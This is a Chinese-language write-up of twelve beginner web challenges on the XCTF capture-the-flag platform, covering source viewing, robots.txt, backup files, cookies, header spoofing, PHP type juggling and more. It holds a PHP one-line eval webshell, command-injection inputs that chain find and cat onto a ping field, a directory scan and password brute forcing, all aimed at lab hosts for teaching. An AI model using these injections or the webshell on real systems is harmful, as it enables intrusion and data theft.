WriteUp_XCTF——攻防世界Web新手題

1. view_source

題目描述

X老師讓小寧同學查看一個網頁的源代碼,但小寧同學發現鼠標右鍵好像不管用了。

 image-20200417171716857

解題過程

右鍵不能用,肯定是網頁用Javascript對右鍵進行了操作。我們可以選擇禁用Js的方式。
這樣右鍵就可以用了。我們可以這樣右鍵查看網頁源代碼。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Where is the FLAG</title>
</head>
<body>
<script>
document.oncontextmenu=new Function("return false")//禁用右鍵菜單
document.onselectstart=new Function("return false")//禁用選擇文本
</script>


<h1>FLAG is not here</h1>


<!-- cyberpeace{e1b7fe436e0d283acefcb5efe3eba37f} -->

</body>
</html>

當然我們也可以通過快捷鍵來查看源代碼

  • F12或者Ctrl+shift+I打開開發者工具
  • Ctrl+U直接查看
  • 在網址前面加上view-source:
  • 瀏覽器自帶的Web開發者工具

2. robots

題目描述

X老師上課講了Robots協議,小寧同學卻上課打了瞌睡,趕緊來教教小寧Robots協議是什麼吧。

解題過程

http://159.138.137.79:63859/robots.txt
User-agent: *
Disallow: 
Disallow: f1ag_1s_h3re.php
http://159.138.137.79:63859/f1ag_1s_h3re.php
cyberpeace{af2a2b404477a38c071c58bc1d61a719}

相關知識

Robots協議

Robots文件:網站和搜索引擎之間的一個協議。用來防止搜索引擎抓取那些我們不想被搜索引擎看到的隱私內容。

  • Robots文件告訴蜘蛛什麼是可以被查看的。
  • Robots是蜘蛛爬行網站第一個要訪問的文件。

常用符號

User-agent:定義搜索引擎的類型

Disallow:定義禁止搜索引擎收錄的地址

Allow:定義允許搜索引擎收錄的地址

*:匹配0或多個任意字符

$:匹配行結束符

3. backup

題目描述

X老師忘記刪除備份文件,他派小寧同學去把備份文件找出來,一起來幫小寧同學吧!

解題過程

你知道index.php的備份文件名嗎?
結合題目中所說,文件的備份文件沒有刪除,那麼我們便可以下載備份文件。

常見的備份文件後綴名有: .git .svn .swp .svn .~ .bak .bash_history

這裏通過dirsearch來掃描網站目錄

python3 dirsearch.py -u http://159.138.137.79:59964/ -e *

200   438B   http://159.138.137.79:59964/index.php
200   438B   http://159.138.137.79:59964/index.php/login/
200   500B   http://159.138.137.79:59964/index.php.bak

打開index.php.bak,即得flag

<html>
<head>
    <meta charset="UTF-8">
    <title>備份文件</title>
    <link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />
    <style>
        body{
            margin-left:auto;
            margin-right:auto;
            margin-TOP:200PX;
            width:20em;
        }
    </style>
</head>
<body>
<h3>你知道index.php的備份文件名嗎?</h3>
<?php
$flag="Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}"
?>
</body>
</html>

4. cookie

題目描述

X老師告訴小寧他在cookie裏放了些東西,小寧疑惑地想:‘這是夾心餅乾的意思嗎?’

解題過程

打開開發者工具調出請求報文

GET / HTTP/1.1
Host: 159.138.137.79:57848
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: look-here=cookie.php
Connection: keep-alive
Cache-Control: max-age=0

我們可以發現Cookie: look-here=cookie.php

訪問http://159.138.137.79:57848/cookie.php

提示See the http response

在響應頭中獲得flag

HTTP/1.1 200 OK
Date: Fri, 17 Apr 2020 13:20:38 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.26

flag: cyberpeace{26ab1841150a697865445ce5d0070520}

Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 253
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

相關知識

Cookie是小量信息,由網絡服務器發送出來以存儲在網絡瀏覽器上,從而下次訪客又回到該網絡服務器時,可從該瀏覽器讀回此信息。

  • 讓瀏覽器記住這位訪客的特定信息,如上次訪問的位置、花費的時間或用戶首選項(如樣式表)

  • Cookie 是個存儲在瀏覽器目錄的文本文件,當瀏覽器運行時,存儲在 RAM 中。

    一旦你從該網站或網絡服務器退出,Cookie 也可存儲在計算機的硬驅上。當訪客結束其瀏覽器對話時,即終止的所有 Cookie。

可參考

5. disabled_button

題目描述

X老師今天上課講了前端知識,然後給了大家一個不能按的按鈕,小寧驚奇地發現這個按鈕按不下去,到底怎麼才能按下去呢?

解題過程

 image-20200417212534783

題目說明按鈕不能按下,所以我們打開調試工具,將按鈕設置爲可點擊。

<input disabled class="btn btn-default" style="height:50px;width:200px;" type="submit" value="flag" name="auth">

可以看到disabled,我們把它刪掉,按鈕就可以點擊了。即得flag。

 image-20200417213330581

相關知識

HTML <input> 標籤的 disabled 屬性

disabled 屬性規定應該禁用 input 元素。被禁用的 input 元素既不可用,也不可點擊

6. weak_auth

題目描述

小寧寫了一個登陸驗證頁面,隨手就設了一個密碼。

解題過程

隨手輸入賬戶名密碼,顯示

 image-20200417214802792

對密碼進行爆破

 image-20200417215026211

通過長度我們可以判斷出密碼:

 image-20200417215719462

7. simple_php

題目描述

小寧聽說php是最好的語言,於是她簡單學習之後寫了幾行php代碼。

解題過程

打開題目地址後後顯示了幾行php代碼。

<?php
	show_source(__FILE__);//以高亮形式顯示當前文件的源代碼
	include("config.php");
	$a=@$_GET['a'];//@表示忽略報錯信息
	$b=@$_GET['b'];
	if($a==0 and $a){
    	echo $flag1; //flag的一部分
	}
	if(is_numeric($b)){   //對數字或純數字字符串進行判斷
  	  exit();
	}
	if($b>1234){
   	 echo $flag2;   //flag的另一個部分
	}
?>

通過分析上述代碼,我們需要通過GET方式傳進去變量a,b的值,使其滿足條件即可。

  • $a==0 and $a
  • is_numeric($b)爲假
  • $b>1234

這裏$a==0用的是==,表示不需要判斷兩者類型是否相同,也就是會自動切換類型。

所以我們讓a=abc,等於一個字符串,那麼既滿足$a==0,也能保證$a的邏輯值爲True

b=12345abc,這樣可以繞過is_numeric($b),而且在比較的時候b會自動轉換爲12345.

http://159.138.137.79:61968/?a=abc&b=12345a

 image-20200417170501372

相關知識

php的弱類型比較

php中有兩種比較的符號 == 與 ===

  • === 在進行比較的時候,會先判斷兩種字符串的類型是否相等,再比較數值
  • == 在進行比較的時候,會先將字符串類型轉化成相同,再比較數值
    • 如果比較一個數字和字符串或者比較涉及到數字內容的字符串,則字符串會被轉換成數值並且比較按照數值來進行。
    • $a="abc"
      • $a==0True
      • $aTrue
    • $b=1234abc
      • $b==1234True

具體可以參照PHP手冊的類型比較表

8. Get_Post

題目描述

X老師告訴小寧同學HTTP通常使用兩種請求方法,你知道是哪兩種嗎?

解題過程

 image-20200417220118311

提交後,會讓以post方式提交

 image-20200417220351577

藉助了hackbar工具。

相關知識

在客戶機和服務器之間進行請求-響應時,兩種最常被用到的方法是:GET 和 POST。

  • GET - 從指定的資源請求數據。
  • POST - 向指定的資源提交要被處理的數據

9. xff_referer

題目描述

X老師告訴小寧其實xff和referer是可以僞造的。

解題過程

ip地址必須爲123.123.123.123

通過在請求頭中加入,X-Forward-For:

必須來自https://www.google.com

在請求頭中加入Referer

 image-20200417221455093

相關知識

X-Forwarded-For(XFF)是用來識別通過HTTP代理或負載均衡方式連接到Web服務器的客戶端最原始的IP地址的HTTP請求頭字段。

HTTP Referer是header的一部分,當瀏覽器向web服務器發送請求的時候,一般會帶上Referer,告訴服務器該網頁是從哪個頁面鏈接過來的,服務器因此可以獲得一些信息用於處理。

10. webshell

題目描述

小寧百度了php一句話,覺着很有意思,並且把它放在index.php裏。

解題過程

你會使用webshell嗎?
<?php @eval($_POST['shell']);?>

一句話木馬,直接在index.php中,故我們直接用菜刀進行鏈接。

image-20200417222759726

相關知識

webshell就是以asp、php、jsp或者cgi等網頁文件形式存在的一種命令執行環境,也可以將其稱做爲一種網頁後門。黑客在入侵了一個網站後,通常會將asp或php後門文件與網站服務器WEB目錄下正常的網頁文件混在一起,然後就可以使用瀏覽器來訪問asp或者php後門,得到一個命令執行環境,以達到控制網站服務器的目的

11. command_execution

題目描述

小寧寫了個ping功能,但沒有寫waf,X老師告訴她這是非常危險的,你知道爲什麼嗎。

解題過程

127.0.0.1;find / -name "*flag*"
ping -c 3 127.0.0.1;find / -name "*flag*"
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.028 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.021 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.025 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2048ms
rtt min/avg/max/mdev = 0.021/0.024/0.028/0.006 ms
/home/flag.txt
/proc/sys/kernel/acpi_video_flags
/proc/sys/kernel/sched_domain/cpu0/domain0/flags
/proc/sys/kernel/sched_domain/cpu0/domain1/flags
/proc/sys/kernel/sched_domain/cpu1/domain0/flags

找到了flag.txt然後用cat命令打開即可

127.0.0.1;cat /home/flag.txt
cyberpeace{eb12736d5fff4e735268a6315ed337ee}

相關知識

waf: waf是通過執行一系列針對HTTP/HTTPS的安全策略來專門爲Web應用提供保護的一款產品。

Linux中一行執行多條命令

  • &&
    第2條命令只有在第1條命令成功執行之後才執行。

  • ||
    只有||前的命令執行不成功(產生了一個非0的退出碼)時,才執行後面的命令。

  • |

    | 的作用爲將前一個命令的結果傳遞給後一個命令作爲輸入


  • 順序執行多條命令,當;號前的命令執行完(不管是否執行成功),才執行;後的命令。

12. simple_js

題目描述

小寧發現了一個網頁,但卻一直輸不對密碼。

解題過程

發現需要輸入密碼,而且是一個彈窗

分析js代碼

<script type="text/javascript">

    function dechiffre(pass_enc){
        var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
        var tab  = pass_enc.split(',');
        var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
                        k = j + (l) + (n=0);
                        n = tab2.length;
                        for(i = (o=0); 
                            i < (k = j = n); i++ )
                        {o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
                                if(i == 5)break;}
                        for(i = (o=0); i < (k = j = n); i++ ){
                        o = tab[i-l];
                                if(i > 5 && i < k-1)
                                        p += String.fromCharCode((o = tab2[i]));
                        }
        p += String.fromCharCode(tab2[17]);
        pass = p;
    return pass;
    }
    String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
    h = window.prompt('Enter password');
    alert( dechiffre(h) );

</script>
"\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"
[55,56,54,79,115,69,114,116,107,49,50]

轉換爲字符:

786OsErtk12

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章